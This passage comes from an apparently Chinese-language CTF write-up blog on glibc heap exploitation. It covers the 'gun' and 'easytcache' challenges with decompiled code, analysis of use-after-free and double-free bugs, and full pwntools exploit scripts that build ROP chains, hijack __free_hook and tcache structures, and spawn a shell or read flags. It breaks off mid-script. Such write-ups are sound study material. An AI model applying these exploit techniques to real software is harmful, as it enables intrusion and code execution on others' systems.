class="line">fake_fd = libcbase+<span class="number">0x3c4b78</span></span><br><span class="line">payload = <span class="string">b&#x27;A&#x27;</span>*<span class="number">0x400</span>+p64(<span class="number">0</span>)+p64(<span class="number">0x21</span>)+<span class="string">b&#x27;A&#x27;</span>*<span class="number">0x10</span></span><br><span class="line">fake_file = <span class="string">b&#x27;/bin/sh\x00&#x27;</span>+p64(<span class="number">0x60</span>) + p64(<span class="number">0</span>) + p64(_IO_list_all-<span class="number">0x10</span>)</span><br><span class="line">fake_file += p64(<span class="number">0</span>) + p64(<span class="number">1</span>)</span><br><span class="line">fake_file = fake_file.ljust(<span class="number">0xc0</span>, <span class="string">b&#x27;\x00&#x27;</span>)</span><br><span class="line">payload += fake_file</span><br><span class="line">payload += p64(<span class="number">0</span>)*<span class="number">3</span> + p64(heapbase+<span class="number">0x5c8</span>)</span><br><span class="line">payload += p64(<span class="number">0</span>)*<span class="number">2</span> + p64(sys)</span><br><span class="line"></span><br><span class="line">upgrade(<span class="number">0x1000</span>, payload, <span class="number">1</span>, <span class="number">1</span>)</span><br><span class="line">menu(<span class="number">1</span>)</span><br><span class="line"></span><br><span class="line"><span class="comment">#DEBUG()</span></span><br><span class="line"></span><br><span class="line">io.interactive()</span><br></pre></td></tr></table></figure></div><h3 id="0x02-bytectf-2020-gun-UAF-fastbin-double-free-orw"><a href="#0x02-bytectf-2020-gun-UAF-fastbin-double-free-orw" class="headerlink" title="0x02.bytectf 2020 - gun( UAF+fastbin double-free+orw )"></a>0x02.bytectf 2020 - gun( UAF+fastbin double-free+orw )</h3><p><code>checksec</code>看到保护全开，seccomp-tools看到只能orw，程序为libc-2.31</p><p>IDA打开，分析程序逻辑，程序有三个功能buy，load，shoot。其中buy可以分配堆块</p><div class="code-container" data-rel="C"><figure class="iseeu highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br></pre></td><td class="code"><pre><span class="line"><span class="type">int</span> <span class="title function_">buy</span><span class="params">()</span></span><br><span class="line">&#123;</span><br><span class="line">  __int64 index; <span class="comment">// [rsp+0h] [rbp-10h]</span></span><br><span class="line">  <span class="type">unsigned</span> __int64 size; <span class="comment">// [rsp+8h] [rbp-8h]</span></span><br><span class="line"></span><br><span class="line">  index = JudgeEnough();                        <span class="comment">// 判断index</span></span><br><span class="line">  <span class="keyword">if</span> ( index &lt; <span class="number">0</span> )</span><br><span class="line">    <span class="keyword">return</span> <span class="built_in">puts</span>(<span class="string">&quot;Enough&quot;</span>);</span><br><span class="line">  <span class="keyword">if</span> ( Sign[<span class="number">3</span> * index] == <span class="number">1LL</span> )                 <span class="comment">// 只检测了sign</span></span><br><span class="line">    <span class="keyword">return</span> <span class="built_in">puts</span>(<span class="string">&quot;The bullet is Used!&quot;</span>);</span><br><span class="line">  <span class="built_in">printf</span>(<span class="string">&quot;Bullet price: &quot;</span>);</span><br><span class="line">  size = input();</span><br><span class="line">  <span class="keyword">if</span> ( size &lt;= <span class="number">0xF</span> || (__int64)((__int64)off_4010 - size) &lt; <span class="number">0</span> )</span><br><span class="line">    <span class="keyword">return</span> <span class="built_in">puts</span>(<span class="string">&quot;Too pool!&quot;</span>);</span><br><span class="line">  <span class="keyword">if</span> ( size &gt; <span class="number">0x500</span> )</span><br><span class="line">    <span class="keyword">return</span> <span class="built_in">puts</span>(<span class="string">&quot;Too big!&quot;</span>);</span><br><span class="line">  *((_QWORD *)&amp;GunInfo + <span class="number">3</span> * index) = <span class="built_in">malloc</span>(size);</span><br><span class="line">  Sign[<span class="number">3</span> * index] = <span class="number">1LL</span>;                        <span class="comment">// 1：已拥有</span></span><br><span class="line">  <span class="built_in">printf</span>(<span class="string">&quot;Bullet Name: &quot;</span>);</span><br><span class="line">  input_0(*((_QWORD *)&amp;GunInfo + <span class="number">3</span> * index), size);</span><br><span class="line">  off_4010 = (__int64 (__fastcall *)())((<span class="type">char</span> *)off_4010 - size);<span class="comment">//off_4010初始值为0x1000</span></span><br><span class="line">  <span class="keyword">return</span> <span class="built_in">puts</span>(<span class="string">&quot;Confirm&quot;</span>);</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure></div><p>其中<code>off_4010</code>变量在我获得flag时刚好为0，出题人这么sao吗？？？</p><p>再看load函数</p><div class="code-container" data-rel="C"><figure class="iseeu highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br></pre></td><td class="code"><pre><span class="line"><span class="type">int</span> <span class="title function_">sub_16E1</span><span class="params">()</span></span><br><span class="line">&#123;</span><br><span class="line">  <span class="type">unsigned</span> __int64 v1; <span class="comment">// [rsp+8h] [rbp-8h]</span></span><br><span class="line"></span><br><span class="line">  <span class="built_in">printf</span>(<span class="string">&quot;Which one do you want to load?&quot;</span>);</span><br><span class="line">  v1 = input();</span><br><span class="line">  <span class="keyword">if</span> ( v1 &gt; <span class="number">0xD</span> || Sign[<span class="number">3</span> * v1] == <span class="number">0LL</span> || Sign[<span class="number">3</span> * v1] == <span class="number">2LL</span> )</span><br><span class="line">    <span class="keyword">return</span> <span class="built_in">puts</span>(<span class="string">&quot;what??&quot;</span>);</span><br><span class="line">  <span class="keyword">if</span> ( BulletInfo )</span><br><span class="line">    *((_QWORD *)&amp;GunInfo_AddOne + <span class="number">3</span> * v1) = BulletInfo;</span><br><span class="line">  BulletInfo = (__int64)&amp;GunInfo + <span class="number">24</span> * v1;</span><br><span class="line">  *((_QWORD *)&amp;GunInfo + <span class="number">3</span> * v1 + <span class="number">2</span>) = <span class="number">2LL</span>;     <span class="comment">// 2:装填状态</span></span><br><span class="line">  <span class="keyword">return</span> <span class="built_in">puts</span>(<span class="string">&quot;Confirm.&quot;</span>);</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure></div><p>以及shoot函数</p><div class="code-container" data-rel="C"><figure class="iseeu highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br></pre></td><td class="code"><pre><span class="line"><span class="type">int</span> <span class="title function_">sub_15F8</span><span class="params">()</span></span><br><span class="line">&#123;</span><br><span class="line">  __int64 v1; <span class="comment">// rax</span></span><br><span class="line">  <span class="type">int</span> i; <span class="comment">// [rsp+0h] [rbp-10h]</span></span><br><span class="line">  __int64 num; <span class="comment">// [rsp+4h] [rbp-Ch]</span></span><br><span class="line">  __int64 v4; <span class="comment">// [rsp+8h] [rbp-8h]</span></span><br><span class="line"></span><br><span class="line">  <span class="keyword">if</span> ( !BulletInfo )</span><br><span class="line">    <span class="keyword">return</span> <span class="built_in">puts</span>(<span class="string">&quot;No bullet!&quot;</span>);</span><br><span class="line">  <span class="built_in">printf</span>(<span class="string">&quot;Shoot time: &quot;</span>);</span><br><span class="line">  num = (<span class="type">unsigned</span> <span class="type">int</span>)input();                  <span class="comment">// shoot几次</span></span><br><span class="line">  <span class="keyword">for</span> ( i = <span class="number">0</span>; BulletInfo &amp;&amp; i &lt; (<span class="type">int</span>)num; ++i )</span><br><span class="line">  &#123;</span><br><span class="line">    <span class="built_in">printf</span>(<span class="string">&quot;Pwn! The %s bullet fired.\n&quot;</span>, *(<span class="type">const</span> <span class="type">char</span> **)BulletInfo);</span><br><span class="line">    <span class="built_in">free</span>(*(<span class="type">void</span> **)BulletInfo);                 <span class="comment">// UAF，未清除装填位指针</span></span><br><span class="line">    v4 = BulletInfo;</span><br><span class="line">    BulletInfo = *(_QWORD *)(BulletInfo + <span class="number">8</span>);</span><br><span class="line">    *(_QWORD *)(v4 + <span class="number">16</span>) = <span class="number">0LL</span>;                 <span class="comment">// 0：已使用</span></span><br><span class="line">  &#125;</span><br><span class="line">  v1 = RestOfBullet();</span><br><span class="line">  <span class="keyword">return</span> <span class="built_in">printf</span>(<span class="string">&quot;%lld bullets left\n&quot;</span>, v1);</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure></div><p>在shoot函数中可以看到在free掉目标子弹后，未及时清除next位，导致产生UAF</p><p>利用流程大致如下：</p><ul><li>先利用UAF泄露libc</li><li>利用<code>fastbin double-free</code>打<code>__free_hook</code>为一个特殊的gadget，直接orw（在伪造过程中边调试边构造rop链）</li></ul><p>特殊gadget为<code>mov rdx, qword ptr [rdi + 8] ; mov qword ptr [rsp], rax ; call qword ptr [rdx + 0x20]</code>，在这个gadget中，可以给rdx赋值，并且可以call一个函数，可以使能进入setcontext函数之后控制rsp</p><p>exp:</p><div class="code-container" data-rel="Python"><figure class="iseeu highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br><span class="line">85</span><br><span class="line">86</span><br><span class="line">87</span><br><span class="line">88</span><br><span class="line">89</span><br><span class="line">90</span><br><span class="line">91</span><br><span class="line">92</span><br><span class="line">93</span><br><span class="line">94</span><br><span class="line">95</span><br><span class="line">96</span><br><span class="line">97</span><br><span class="line">98</span><br><span class="line">99</span><br><span class="line">100</span><br><span class="line">101</span><br><span class="line">102</span><br><span class="line">103</span><br><span class="line">104</span><br><span class="line">105</span><br><span class="line">106</span><br><span class="line">107</span><br><span class="line">108</span><br><span class="line">109</span><br><span class="line">110</span><br><span class="line">111</span><br><span class="line">112</span><br><span class="line">113</span><br><span class="line">114</span><br><span class="line">115</span><br><span class="line">116</span><br><span class="line">117</span><br><span class="line">118</span><br><span class="line">119</span><br><span class="line">120</span><br><span class="line">121</span><br><span class="line">122</span><br><span class="line">123</span><br><span class="line">124</span><br><span class="line">125</span><br><span class="line">126</span><br><span class="line">127</span><br><span class="line">128</span><br><span class="line">129</span><br><span class="line">130</span><br><span class="line">131</span><br><span class="line">132</span><br><span class="line">133</span><br><span class="line">134</span><br><span class="line">135</span><br><span class="line">136</span><br><span class="line">137</span><br><span class="line">138</span><br><span class="line">139</span><br><span class="line">140</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">#!/usr/bin/env python3</span></span><br><span class="line"><span class="keyword">from</span> pwn <span class="keyword">import</span>*</span><br><span class="line">context(arch=<span class="string">&#x27;x86_64&#x27;</span>,log_level=<span class="string">&#x27;debug&#x27;</span>)</span><br><span class="line"></span><br><span class="line">io = process(<span class="string">&#x27;./gun&#x27;</span>)</span><br><span class="line">elf = ELF(<span class="string">&#x27;./gun&#x27;</span>)</span><br><span class="line">libc = ELF(<span class="string">&#x27;./libc-2.31.so&#x27;</span>)</span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">DEBUG</span>():</span><br><span class="line">    attach(io, <span class="string">&#x27;set resolve-heap-via-heuristic on&#x27;</span>)</span><br><span class="line">    pause()</span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">menu</span>(<span class="params">choice</span>):</span><br><span class="line">    io.recvuntil(<span class="string">b&#x27;Action&gt; &#x27;</span>)</span><br><span class="line">    io.sendline(<span class="built_in">str</span>(choice).encode())</span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">shoot</span>(<span class="params">num</span>):</span><br><span class="line">    menu(<span class="number">1</span>)</span><br><span class="line">    io.recvuntil(<span class="string">b&#x27;Shoot time: &#x27;</span>)</span><br><span class="line">    io.sendline(<span class="built_in">str</span>(num).encode())</span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">load</span>(<span class="params">num</span>):</span><br><span class="line">    menu(<span class="number">2</span>)</span><br><span class="line">    io.recvuntil(<span class="string">b&#x27;Which one do you want to load?&#x27;</span>)</span><br><span class="line">    io.sendline(<span class="built_in">str</span>(num).encode())</span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">buy</span>(<span class="params">price, name</span>):</span><br><span class="line">    menu(<span class="number">3</span>)</span><br><span class="line">    io.recvuntil(<span class="string">b&#x27;Bullet price: &#x27;</span>)</span><br><span class="line">    io.sendline(<span class="built_in">str</span>(price).encode())</span><br><span class="line">    io.recvuntil(<span class="string">b&#x27;Bullet Name: &#x27;</span>)</span><br><span class="line">    io.sendline(name)</span><br><span class="line"></span><br><span class="line">io.recvuntil(<span class="string">b&#x27;Your name: &#x27;</span>)</span><br><span class="line">io.sendline(<span class="string">b&#x27;Static&#x27;</span>)</span><br><span class="line"></span><br><span class="line"><span class="string">&#x27;&#x27;&#x27;</span></span><br><span class="line"><span class="string">gun共分为3个变量：</span></span><br><span class="line"><span class="string">分别是：chunk位</span></span><br><span class="line"><span class="string">        next_gun位</span></span><br><span class="line"><span class="string">        sign位（其中next_gun位在shoot后不会及时清0,因此会造成UAF）</span></span><br><span class="line"><span class="string">&#x27;&#x27;&#x27;</span></span><br><span class="line"><span class="comment">#共有13个位置</span></span><br><span class="line"><span class="comment">#填满tcache,并构造泄露libc</span></span><br><span class="line"><span class="keyword">for</span> i <span class="keyword">in</span> <span class="built_in">range</span>(<span class="number">9</span>):</span><br><span class="line">    buy(<span class="number">0x80</span>, <span class="string">b&#x27;A&#x27;</span>)</span><br><span class="line"><span class="keyword">for</span> i <span class="keyword">in</span> <span class="built_in">range</span>(<span class="number">0</span>,<span class="number">6</span>):</span><br><span class="line">    load(i)</span><br><span class="line">shoot(<span class="number">6</span>)</span><br><span class="line"></span><br><span class="line">load(<span class="number">7</span>)</span><br><span class="line">load(<span class="number">6</span>)</span><br><span class="line">shoot(<span class="number">2</span>)        <span class="comment">#7 进入unsortedbin</span></span><br><span class="line"><span class="keyword">for</span> i <span class="keyword">in</span> <span class="built_in">range</span>(<span class="number">7</span>):</span><br><span class="line">    buy(<span class="number">0x80</span>, <span class="string">b&#x27;A&#x27;</span>) <span class="comment">#0 1 2 3 4 5 6</span></span><br><span class="line">load(<span class="number">6</span>)</span><br><span class="line">shoot(<span class="number">2</span>)        <span class="comment">#由于6的next_gun位未清0,因此直接二连发泄露libc</span></span><br><span class="line"></span><br><span class="line">io.recvline()</span><br><span class="line">io.recvuntil(<span class="string">b&#x27;Pwn! The &#x27;</span>)</span><br><span class="line">libcbase = u64(io.recv(<span class="number">6</span>).ljust(<span class="number">8</span>, <span class="string">b&#x27;\x00&#x27;</span>))-<span class="number">0x1ebbe0</span></span><br><span class="line">log.success(<span class="string">&#x27;libcbase ===&gt; &#x27;</span>+<span class="built_in">hex</span>(libcbase))</span><br><span class="line">__free_hook = libcbase+libc.symbols[<span class="string">&#x27;__free_hook&#x27;</span>]</span><br><span class="line">log.success(<span class="string">&#x27;__free_hook ===&gt; &#x27;</span>+<span class="built_in">hex</span>(__free_hook))</span><br><span class="line">setcontext = libcbase+libc.symbols[<span class="string">&#x27;setcontext&#x27;</span>]+<span class="number">61</span></span><br><span class="line"></span><br><span class="line"><span class="comment">#修复unsorted bin然后fastbin double-free打__free_hook</span></span><br><span class="line">buy(<span class="number">0x80</span>, p64(libcbase+<span class="number">0x1ebbe0</span>)*<span class="number">2</span>) <span class="comment">#6</span></span><br><span class="line">load(<span class="number">6</span>)</span><br><span class="line">buy(<span class="number">0x60</span>, <span class="string">b&#x27;A&#x27;</span>) <span class="comment">#8</span></span><br><span class="line">load(<span class="number">7</span>)                 <span class="comment">#此时6 7均为0x60块,且6 7为同一堆块</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">for</span> i <span class="keyword">in</span> <span class="built_in">range</span>(<span class="number">6</span>):      <span class="comment">#0 1 2 3 4 5为0x60</span></span><br><span class="line">    load(i)</span><br><span class="line">    shoot(<span class="number">1</span>)</span><br><span class="line">io.recvuntil(<span class="string">b&#x27;Pwn! The &#x27;</span>)</span><br><span class="line">heapbase = u64(io.recv(<span class="number">6</span>).ljust(<span class="number">8</span>, <span class="string">b&#x27;\x00&#x27;</span>))-<span class="number">0x541</span></span><br><span class="line">log.success(<span class="string">&#x27;heapbase ===&gt; &#x27;</span>+<span class="built_in">hex</span>(heapbase))</span><br><span class="line">load(<span class="number">8</span>)</span><br><span class="line">shoot(<span class="number">1</span>)</span><br><span class="line"></span><br><span class="line"><span class="keyword">for</span> i <span class="keyword">in</span> <span class="built_in">range</span>(<span class="number">8</span>):      <span class="comment">#填满0x60的tcache, 0 1 2 3 4 5 8 9</span></span><br><span class="line">    buy(<span class="number">0x60</span>, <span class="string">b&#x27;A&#x27;</span>)</span><br><span class="line"><span class="keyword">for</span> i <span class="keyword">in</span> <span class="built_in">range</span>(<span class="number">6</span>):</span><br><span class="line">    load(i)</span><br><span class="line">    shoot(<span class="number">1</span>)</span><br><span class="line">load(<span class="number">8</span>)</span><br><span class="line">shoot(<span class="number">1</span>)</span><br><span class="line"></span><br><span class="line"><span class="comment">#fastbin double-free</span></span><br><span class="line">shoot(<span class="number">1</span>)</span><br><span class="line">load(<span class="number">9</span>)</span><br><span class="line">shoot(<span class="number">1</span>)</span><br><span class="line">shoot(<span class="number">1</span>)</span><br><span class="line"></span><br><span class="line">pop_rdi = libcbase+<span class="number">0x26b72</span></span><br><span class="line">pop_rsi = libcbase+<span class="number">0x27529</span></span><br><span class="line">pop_rdx_r12 = libcbase+<span class="number">0x11c1e1</span></span><br><span class="line">ret = pop_rdi+<span class="number">1</span></span><br><span class="line">open_ = libcbase+libc.symbols[<span class="string">&#x27;open&#x27;</span>]</span><br><span class="line">read_ = libcbase+libc.symbols[<span class="string">&#x27;read&#x27;</span>]</span><br><span class="line">puts = libcbase+libc.symbols[<span class="string">&#x27;puts&#x27;</span>]</span><br><span class="line">pop_r12_r14 = libcbase+<span class="number">0x913b0</span></span><br><span class="line"><span class="comment">#mov rdx, qword ptr [rdi + 8] ; mov qword ptr [rsp], rax ; call qword ptr [rdx + 0x20]   0x1547a0</span></span><br><span class="line"><span class="comment">#修改fd</span></span><br><span class="line">flag = heapbase+<span class="number">0x2a0</span></span><br><span class="line">rop_chain_1 = p64(pop_rdi)+p64(<span class="number">0</span>)+p64(pop_rsi)+p64(flag)+p64(pop_rdx_r12)+p64(<span class="number">0x50</span>)+p64(<span class="number">0</span>)+p64(read_)+p64(pop_rdi)+p64(flag)+p64(ret)+p64(pop_r12_r14)</span><br><span class="line">rop_chain_2 = p64(pop_rsi)+p64(<span class="number">0</span>)+p64(pop_rdx_r12)+p64(<span class="number">0</span>)*<span class="number">2</span>+p64(open_)+p64(pop_rdi)+p64(<span class="number">3</span>)+p64(pop_rsi)+p64(flag)+p64(ret)+p64(pop_r12_r14)</span><br><span class="line">rop_chain_3 = p64(pop_rdx_r12)+p64(<span class="number">0x50</span>)+p64(<span class="number">0</span>)+p64(read_)+p64(pop_rdi)+p64(flag)+p64(puts)</span><br><span class="line">rsp = heapbase+<span class="number">0x7a0</span></span><br><span class="line">rcx = ret</span><br><span class="line">buy(<span class="number">0x60</span>, <span class="string">b&#x27;B&#x27;</span>*<span class="number">8</span>)</span><br><span class="line">load(<span class="number">0</span>)</span><br><span class="line">buy(<span class="number">0x60</span>, <span class="string">b&#x27;C&#x27;</span>*<span class="number">8</span>)</span><br><span class="line">load(<span class="number">1</span>)</span><br><span class="line">buy(<span class="number">0x60</span>, <span class="string">b&#x27;D&#x27;</span>*<span class="number">8</span>)</span><br><span class="line">load(<span class="number">2</span>)</span><br><span class="line">buy(<span class="number">0x60</span>, rop_chain_3)</span><br><span class="line">load(<span class="number">3</span>)</span><br><span class="line">buy(<span class="number">0x60</span>, rop_chain_2)</span><br><span class="line">load(<span class="number">4</span>)</span><br><span class="line">buy(<span class="number">0x60</span>, rop_chain_1)</span><br><span class="line">load(<span class="number">5</span>)</span><br><span class="line">buy(<span class="number">0x60</span>, <span class="string">b&#x27;H&#x27;</span>*<span class="number">0x28</span>+p64(rsp)+p64(rcx))</span><br><span class="line">load(<span class="number">6</span>)</span><br><span class="line"></span><br><span class="line">buy(<span class="number">0x60</span>, p64(__free_hook)) <span class="comment">#7</span></span><br><span class="line"></span><br><span class="line">content = <span class="string">b&#x27;A&#x27;</span>*<span class="number">8</span>+p64(heapbase+<span class="number">0x6b8</span>)+<span class="string">b&#x27;A&#x27;</span>*<span class="number">8</span>+p64(setcontext)</span><br><span class="line">buy(<span class="number">0x60</span>, <span class="string">b&#x27;C&#x27;</span>*<span class="number">8</span>) <span class="comment">#8</span></span><br><span class="line">buy(<span class="number">0x60</span>, content) <span class="comment">#9</span></span><br><span class="line">buy(<span class="number">0x60</span>, p64(libcbase+<span class="number">0x1547a0</span>))   <span class="comment">#10     此时剩余可分配大小已被分配完</span></span><br><span class="line"></span><br><span class="line">load(<span class="number">9</span>)</span><br><span class="line">shoot(<span class="number">9</span>)</span><br><span class="line"></span><br><span class="line">io.send(<span class="string">b&#x27;./flag\x00&#x27;</span>)</span><br><span class="line"><span class="comment">#DEBUG()</span></span><br><span class="line"></span><br><span class="line">io.interactive()</span><br></pre></td></tr></table></figure></div><h3 id="0x03-minilctf-easytcache-safe-linking绕过-tcache-struct劫持-ROP"><a href="#0x03-minilctf-easytcache-safe-linking绕过-tcache-struct劫持-ROP" class="headerlink" title="0x03.minilctf - easytcache( safe-linking绕过+tcache_struct劫持+ROP )"></a>0x03.minilctf - easytcache( safe-linking绕过+tcache_struct劫持+ROP )</h3><p><code>checksec</code>看到保护全开，seccomp-tools看到只能orw，程序为libc-2.33</p><p>IDA打开看到是个c++程序，一个菜单题，可以add 5次，free 3次，注意delete函数中</p><div class="code-container" data-rel="C"><figure class="iseeu highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br></pre></td><td class="code"><pre><span class="line">v7 = freeinfo[index];</span><br><span class="line">freeinfo[index] ^= <span class="number">1u</span>;                        <span class="comment">// free两次就可以重新获得且第二次不会执行free</span></span><br><span class="line"><span class="keyword">if</span> ( v7 )                                     <span class="comment">// double-free检测没用</span></span><br><span class="line">&#123;</span><br><span class="line">  v4 = <span class="built_in">std</span>::operator&lt;&lt;&lt;<span class="built_in">std</span>::char_traits&lt;<span class="type">char</span>&gt;&gt;(</span><br><span class="line">         &amp;<span class="built_in">std</span>::<span class="built_in">cout</span>,</span><br><span class="line">         <span class="string">&quot;Double free detected! You can&#x27;t delete a note more than once!&quot;</span>);</span><br><span class="line">&#125;</span><br><span class="line"><span class="keyword">else</span></span><br><span class="line">&#123;</span><br><span class="line">  sub_28D0(&amp;unk_8240);</span><br><span class="line">  sub_28D0(a1);</span><br><span class="line">  sub_32FC(&amp;unk_8260, index);</span><br><span class="line">  v4 = <span class="built_in">std</span>::operator&lt;&lt;&lt;<span class="built_in">std</span>::char_traits&lt;<span class="type">char</span>&gt;&gt;(&amp;<span class="built_in">std</span>::<span class="built_in">cout</span>, <span class="string">&quot;Done!&quot;</span>);</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure></div><p>显然double-free检测没用，free后再次free就可以重置标志位（此时只算作一次free），相当于UAF</p><p>则解题步骤为：</p><ul><li>先add一个chunk_0（要注意chunk应该尽量大），然后free两次进入tcache，由于safe-linking机制，直接show可以得到堆地址。再free两次使对应tcache_count&#x3D;2。此时再修改fd位，使指向tcache_struct结构体，然后申请chunk_1，chunk_2，chunk_2即为tcache_struct位置。</li><li>edit修改tcache_struct结构体，将对应位置的count修改为7，然后free两次chunk_0，show出libc地址。此时只剩下两次add。</li><li>再edit chunk_2使某指针指向<code>_environ</code>变量，add出来然后show得到栈地址。得到栈地址后修改tcache_struct中任意指针为指定栈地址布置rop_chain，直接orw</li></ul><p>exp:</p><div class="code-container" data-rel="Python"><figure class="iseeu highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br><span class="line">85</span><br><span class="line">86</span><br><span class="line">87</span><br><span class="line">88</span><br><span class="line">89</span><br><span class="line">90</span><br><span class="line">91</span><br><span class="line">92</span><br><span class="line">93</span><br><span class="line">94</span><br><span class="line">95</span><br><span class="line">96</span><br><span class="line">97</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">#!/usr/bin/env python3</span></span><br><span class="line"><span class="keyword">from</span> pwn <span class="keyword">import</span>*</span><br><span class="line">context.log_level = <span class="string">&#x27;debug&#x27;</span></span><br><span class="line"></span><br><span class="line">io = process(<span class="string">&#x27;./easytcache&#x27;</span>)</span><br><span class="line">elf = ELF(<span class="string">&#x27;./easytcache&#x27;</span>)</span><br><span class="line">libc = ELF(<span class="string">&#x27;./libc.so.6&#x27;</span>)</span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">DEBUG</span>():</span><br><span class="line">    attach(io)</span><br><span class="line">    pause()</span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">menu</span>(<span class="params">choice</span>):</span><br><span class="line">    io.recvuntil(<span class="string">b&#x27;Your choice: &#x27;</span>)</span><br><span class="line">    io.send(<span class="built_in">str</span>(choice).encode())</span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">add</span>(<span class="params">size</span>):</span><br><span class="line">    menu(<span class="number">1</span>)</span><br><span class="line">    io.recvuntil(<span class="string">b&#x27;size?&#x27;</span>)</span><br><span class="line">    io.send(<span 